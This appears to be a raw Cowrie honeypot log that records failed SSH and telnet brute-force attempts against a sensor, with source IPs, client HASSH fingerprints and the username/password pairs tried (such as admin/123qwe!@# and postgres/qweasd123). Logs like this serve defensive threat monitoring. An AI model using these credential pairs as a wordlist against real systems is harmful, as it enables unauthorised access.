{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe!@#","message":"login attempt [admin/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:22.051625Z","src_ip":"159.203.92.129","session":"7a9139e63b9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:23.059617Z","src_ip":"159.203.92.129","session":"7a9139e63b9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":44822,"dst_ip":"10.17.0.5","dst_port":22,"session":"217a0469efd3","protocol":"ssh","message":"New connection: 165.154.5.148:44822 (10.17.0.5:22) [session: 217a0469efd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:27.321872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:27.326396Z","src_ip":"165.154.5.148","session":"217a0469efd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:27.543384Z","src_ip":"165.154.5.148","session":"217a0469efd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"q1w2e3r4","message":"login attempt [dev/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:28.446533Z","src_ip":"165.154.5.148","session":"217a0469efd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:29.668718Z","src_ip":"165.154.5.148","session":"217a0469efd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00208163261414,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:46.074202Z","src_ip":"31.134.118.104","session":"87e5ccf58e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.118.104","src_port":43039,"dst_ip":"159.203.135.109","dst_port":23,"session":"52472dce1e58","protocol":"telnet","message":"New connection: 31.134.118.104:43039 (159.203.135.109:23) [session: 52472dce1e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:46.413839Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":53794,"dst_ip":"10.17.0.5","dst_port":22,"session":"860a29c995b9","protocol":"ssh","message":"New connection: 176.53.96.10:53794 (10.17.0.5:22) [session: 860a29c995b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:48.601995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:48.607234Z","src_ip":"176.53.96.10","session":"860a29c995b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:48.728620Z","src_ip":"176.53.96.10","session":"860a29c995b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"qwerty","message":"login attempt [ts3bot/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:49.244923Z","src_ip":"176.53.96.10","session":"860a29c995b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:18:50.372569Z","src_ip":"176.53.96.10","session":"860a29c995b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41272,"dst_ip":"159.203.135.109","dst_port":22,"session":"d755923369bb","protocol":"ssh","message":"New connection: 159.203.92.129:41272 (159.203.135.109:22) [session: d755923369bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:06.476365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:06.497601Z","src_ip":"159.203.92.129","session":"d755923369bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:06.501770Z","src_ip":"159.203.92.129","session":"d755923369bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwe!@#QWE","message":"login attempt [admin/123qwe!@#QWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:06.595644Z","src_ip":"159.203.92.129","session":"d755923369bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:07.607796Z","src_ip":"159.203.92.129","session":"d755923369bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":51502,"dst_ip":"10.17.0.5","dst_port":22,"session":"631b37a72830","protocol":"ssh","message":"New connection: 165.154.5.148:51502 (10.17.0.5:22) [session: 631b37a72830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:21.759935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:21.765038Z","src_ip":"165.154.5.148","session":"631b37a72830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:21.982198Z","src_ip":"165.154.5.148","session":"631b37a72830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"redhat","message":"login attempt [deploy/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:22.881266Z","src_ip":"165.154.5.148","session":"631b37a72830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:24.100384Z","src_ip":"165.154.5.148","session":"631b37a72830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":39928,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f43d8d0dbbd","protocol":"ssh","message":"New connection: 176.53.96.10:39928 (10.17.0.5:22) [session: 0f43d8d0dbbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:45.752986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:45.757926Z","src_ip":"176.53.96.10","session":"0f43d8d0dbbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:45.879465Z","src_ip":"176.53.96.10","session":"0f43d8d0dbbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"itadmin","password":"itadmin","message":"login attempt [itadmin/itadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:46.404947Z","src_ip":"176.53.96.10","session":"0f43d8d0dbbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:47.532710Z","src_ip":"176.53.96.10","session":"0f43d8d0dbbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44264,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a53e80673da","protocol":"ssh","message":"New connection: 159.203.92.129:44264 (159.203.135.109:22) [session: 3a53e80673da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:50.275997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:50.280043Z","src_ip":"159.203.92.129","session":"3a53e80673da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:50.284246Z","src_ip":"159.203.92.129","session":"3a53e80673da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qweASD","message":"login attempt [admin/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:50.295158Z","src_ip":"159.203.92.129","session":"3a53e80673da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:19:51.302073Z","src_ip":"159.203.92.129","session":"3a53e80673da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00365877151489,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:09.576953Z","src_ip":"176.29.26.223","session":"fa5cef069e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":32502,"dst_ip":"159.203.135.109","dst_port":23,"session":"364f2f8e1dd1","protocol":"telnet","message":"New connection: 176.29.26.223:32502 (159.203.135.109:23) [session: 364f2f8e1dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:11.024374Z"}
{"eventid":"cowrie.session.closed","duration":120.00134205818176,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:11.471868Z","src_ip":"176.29.26.223","session":"78e452017086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.148","src_port":56226,"dst_ip":"10.17.0.5","dst_port":22,"session":"474cfe56b8e7","protocol":"ssh","message":"New connection: 165.154.5.148:56226 (10.17.0.5:22) [session: 474cfe56b8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:13.963218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:13.968586Z","src_ip":"165.154.5.148","session":"474cfe56b8e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:14.196574Z","src_ip":"165.154.5.148","session":"474cfe56b8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00178122520447,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:14.960621Z","src_ip":"176.29.26.223","session":"4d999712b2f9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qweasd123","message":"login attempt [postgres/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:15.126564Z","src_ip":"165.154.5.148","session":"474cfe56b8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:16.354153Z","src_ip":"165.154.5.148","session":"474cfe56b8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":30143,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b11576f8d67","protocol":"telnet","message":"New connection: 176.29.26.223:30143 (159.203.135.109:23) [session: 7b11576f8d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:18.018466Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51834,"dst_ip":"159.203.135.109","dst_port":22,"session":"75cb16e06c29","protocol":"ssh","message":"New connection: 159.203.92.129:51834 (159.203.135.109:22) [session: 75cb16e06c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:35.007808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:20:35.013207Z","src_ip":"159.203.92.129","session":"75cb16e06c29","protocol":"ssh"}
